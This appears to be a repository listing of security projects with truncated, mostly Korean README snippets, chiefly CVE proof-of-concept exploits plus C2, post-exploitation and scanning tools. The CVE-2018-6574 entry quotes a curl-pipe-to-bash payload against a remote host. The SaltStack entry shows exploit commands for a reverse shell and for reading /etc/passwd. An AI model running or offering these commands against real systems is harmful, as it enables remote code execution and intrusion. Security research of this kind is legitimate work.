CVE-2025-59470-PostgreSQL-Command-Injection

영향받는 소프트웨어: PostgreSQL 15.7 이전의 15.x, 16.3 이전의 16.x. 취약점 유형: pgbackup 확장 프로그램의 명령 주입. 설명: pgbackup 확장 프로그램은 사용자가 제공한 매개변수를 제대로 무해화하지 못하여, 백업 운영자가 임의의 명령을 주입하고 PostgreSQL 사용자 권한으로 실행되게 할 수 있습니다...

CVE-2025-48703

🛡️ CVE-2025-48703 - cPanel 파일 관리자의 원격 코드 실행RCE 📌 설명 CVE-2025-48703 은 웹 호스팅 제어판예: cPanel의 filemanager 모듈에서 발생하는 원격 코드 실행RCE 취약점입니다. 이는 acc=changePerm 함수의 살균되지 않은 입력 처리 로 인해 발생하며, 공격자가 ttotal 매개변수를 사용하여 임의의 시스템 명령을 주입하고 실행할 수 있게 합니다. 🧨 영향 이 취약점으로 공격자는 다음을 수행할 수 있습니다: 대상 서버에서 임의의 명령을 실행합니다. 지속적인 액세스를...

exrex

EXREX 정규 표현식을 위한 비정규적인 방법들. Exrex는 주어진 정규 표현식과 일치하는 모든또는 무작위 문자열을 생성하는 명령줄 도구이자 Python 모듈입니다. 순수 Python으로 작성되었으며, 외부 의존성이 없습니다. 일치하는 문자열이 무한한 정규 표현식예: a-z+도 있으며, 이런 경우 exrex는 무한 부분의 최대 길이를 제한합니다. Exrex는 제너레이터를 사용하므로, 메모리 사용량은 일치하는 문자열의 수에 의존하지 않습니다. 기능 일치하는 모든 문자열 생성 무작위 일치 문자열 생성 일치하는 문자열 수 계산 정...

exrex

EXREX Irregular methods for regular expressions. Exrex is a command line tool and python module that generates all - or random - matching strings to a given regular expression and more. It's pure python, without external dependencies. There are regular expressions with infinite matching strings...

thrunt-god

GET SHIT DONE English · Português · 简体中文 · 日本語 · 한국어 Claude Code, OpenCode, Gemini CLI, Codex, Copilot, Cursor, Antigravity를 위한 가볍고 강력한 메타 프롬프팅, 컨텍스트 엔지니어링, 스펙 기반 개발 시스템. 컨텍스트 rot를 해결합니다 — Claude의 컨텍스트 창이 채워질수록 품질이 저하되는 문제. npx thrunt-god@latest Mac, Windows, Linux 모두 지원. "원하는 게 뭔지 명확하게 알고 있다면, 이...

vger

V'ger V'ger는 인증된 Jupyter 인스턴스에 대한 사후 침투를 위한 대화형 명령줄 애플리케이션으로, AI/ML 보안 운영에 중점을 둡니다. 사용자 스토리 레드 팀원 으로서 Jupyter 자격 증명을 찾았지만, 이를 통해 무엇을 할 수 있는지 모릅니다. V'ger는 대부분의 공격적 보안 전문가가 대상 Jupyter 서버의 기능을 이해할 수 있도록 직관적인 형식으로 구성되어 있습니다. 레드 팀원 으로서 일부 브라우저 기반 작업이 합법적인 Jupyter 사용자에게 표시될 수 있음을 알고 있습니다. 예를 들어, 탭 수정은 ...

PiX-C2

PiX-C2 ICMP C2 서버 애플리케이션 NoCow 작성 이메일: [email protected] ICMP C2 프로젝트즉 PiX-C2는 ICMP만을 사용하여 명령 및 제어를 가능하게 하는 클라이언트/서버 애플리케이션입니다. 서버는 ICMP 패킷을 스니핑하고 ICMP 패킷의 데이터 페이로드에서 정보를 추출합니다. 적절한 데이터가 수신되면 클라이언트에 명령이 전송됩니다. 명령은 "run "로 시작해야 합니다. 다른 서버 옵션으로는 sleep, sysinfo 등이 있으며 더 추가될 예정입니다. 가정: 클라이언트/서버...

agentwatch

agentwatch Claude Code 세션용 비행 기록기입니다. Claude Code를 머신에서 실행하게 놔두세요 — 때로는 몇 시간, 때로는 자동 승인으로. agentwatch는 모든 작업을 조용히 기록하여, 나중에 돌아와 정확히 무슨 일이 일어났는지 확인할 수 있습니다. npm install -g agentwatch-dev agentwatch install 그게 다입니다. 두 개의 명령어입니다. agentwatch는 이제 모든 Claude Code 세션을 기록하고 있습니다. 실제로 사용할 명령어들 agentwatch...

RadareEye

인근 장치를 스캔하고 대상 장치가 범위 내에 들어오면 명령을 실행하는 도구입니다. 참고:- RadareEye 소유자는 이 도구를 사용하여 악의적인 활동을 수행하는 사용자에 대해 책임을 지지 않습니다. 학습 목적으로만 사용하세요. RadareEye 설치 방법 : git clone https://github.com/souravbaghz/RadareEye 사용 방법: ./radare 사용 가능한 옵션: -blue 블루투스 RadareEye -ble BLE RadareEye -wifi Wi-Fi AP RadareEye 블루투스...

CVE-2022-27925

CVE-2022-27925 Zimbra RCE 2022 이 저장소는 hgrab-framework 의 일부입니다. dork title: "Zimbra Web Client Sign In" 영향을 받는 제품 Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 및 이전 버전 Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 및 이전 버전 설치 서버에 앱을 설치하세요. user@domain: git clone...

CVE-2021-41773

CVE-2021-41773 go 언어 poc&exp 프로젝트입니다. 고지: 이 프로젝트는 저자의 일상 학습 노트에서 비롯되었습니다. 관련 기술 및 도구를 불법 테스트에 사용하지 마십시오. 이로 인해 발생하는 모든 불리한 결과에 대해 저자는 책임지지 않습니다. 사용 방법: ./main -u 单个url ./main -u -c 单个url执行单个命令 ./main -f 批量验证url文件 ./main -f -o 验证url文件，有漏洞的导出 ./main -u -cmd 循环非交互式执行命令 프로그램 실행 결과: 다음 단계로 thread 모듈을...

sunlogin_rce

서문 별로 할 말은 없고, 바로 도구와 취약한 버전을 올립니다. 로컬에서 테스트해보시면 좋고, 불법 테스트에 사용하지 마세요. 테스트한向日葵 클라이언트 취약 버전: 11.0.0.33162 취약한 클라이언트는 소스 코드에 포함되어 있습니다. 포트 스캔은 다음을 사용했습니다: https://github.com/jboursiquot/portscan 취약 버전 피드백 기반 11.1.1 10.3.0.27372 11.0.0.33162 명령어 설명 -h 대상 지정 -t 스캔 또는 명령 실행 선택 기본값: scan -p 스캔 포트 범위 설정...

CVE-2018-6574

CVE-2018-6574 Go 1.8.7 이전, Go 1.9.x 1.9.4 이전, Go 1.10 프리릴리스 1.10rc2 이전 버전에서는 소스 코드 빌드 중에 go get 원격 명령 실행이 가능합니다. 이는 gcc 또는 clang 플러그인 기능을 활용하여 -fplugin= 및 -plugin= 인수가 차단되지 않았기 때문입니다. mitre에서 인용 RCE 명령 명령은 동적 라이브러리 calcdarwin.so로 컴파일되었습니다. 현재 명령은 curl newton.cycarrier:8002 | /bin/bash입니다. 이는 프로그램...

Debuggable-App-Exploit

CVE-2024-31317 디버깅 가능 앱 익스플로잇 CVE-2024-31317 Android Zygote Injection을 위한 Python 기반 익스플로잇입니다. hiddenapiblacklistexemptions 설정을 통해 악의적인 zygote 인수를 주입하여 설치된 모든 Android 앱을 디버깅 가능하게 만듭니다. 런타임 후킹을 위한 선택적 Frida gadget 주입을 포함합니다. 개요 이 익스플로잇은 Android Zygote 프로세스의 명령어 주입 취약점을 활용하여 대상 애플리케이션을 debuggable 플래...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 : Palo Alto OS 명령 주입 - 개념 증명POC 면책 조항 이 도구는 보안 엔지니어링 및 취약점 평가 팀이 환경 전반의 자산에서 취약점 존재 여부를 신속하게 확인할 수 있도록 설계된 도구입니다...

GitHunt

BHEU 데모 이 저장소는 Black Hat Europe 2025의 The Forensic Trail On GitHub: Hunting For Supply Chain Activity 를 위한 세 가지 데모를 포함합니다. 1. potentialattacksdemo : 공개 GH firehose를 기반으로 공격을 식별하고 조사하는 데모를 보여주는 Flask 웹 애플리케이션입니다. 2. ghdig : GitHub 활동을 조사하기 위한 명령줄 도구입니다. 3. gitthrunter : 의심스러운 GitHub 활동을 식별하고, 이를...

CVE-2024-8190-unauth

CVE-2024-8190 認証なし 説明 CVE-2024-8963 & CVE-2024-8190 の組み合わせ - Ivanti CSA 4.6 以前における認証なし RCE の PoC。 CVE-2024-8963 Ivanti CSA 4.6 Patch 519 より前のパス横断により、リモートの認証されていない攻撃者が制限された機能にアクセスできる可能性があります。 CVE-2024-8190 Ivanti Cloud Services Appliance バージョン 4.6 Patch 518 以前の OS...

cve-lite-cli

Most tools tell you what's wrong. CVE Lite CLI tells you what to run. CVE Lite CLI 🏆 Officially recognized as anOWASP Lab Project Vulnerability scanning that starts in your terminal and fits cleanly into CI. Scan your lockfile, get copy-and-run fix commands, and ship clean code. Scan. Understand...

CVE-2020-11652

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 マスターで実行: python exp.py --exec-choose master --exec-cmd "whoami" ミニオンで実行: python exp.py --exec-choose minions --exec-cmd "whoami" シェル取得: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ファイル読み取り: python exp.py --read /etc/passwd ファイルアップロード: python...

CVE-2024-53375

CVE-2024-53375 TP-Link Archer 시리즈 라우터 인증된 OS 명령 주입 영향을 받는 장치 HomeShield 기능을 사용하는 TP-Link 장치는 이 익스플로잇에 취약합니다. 여기에는 TP-Link Archer 시리즈의 여러 라우터가 포함됩니다. 테스트 환경 Archer AXE75EUV11.2.2 Build 20240827 출시일: 2024년 11월 4일 기술적 세부사항 공격자는 HTTP POST 요청을 사용하여 라우터에 임의의 명령을 실행하도록 지시할 수 있습니다. 이 취약점은...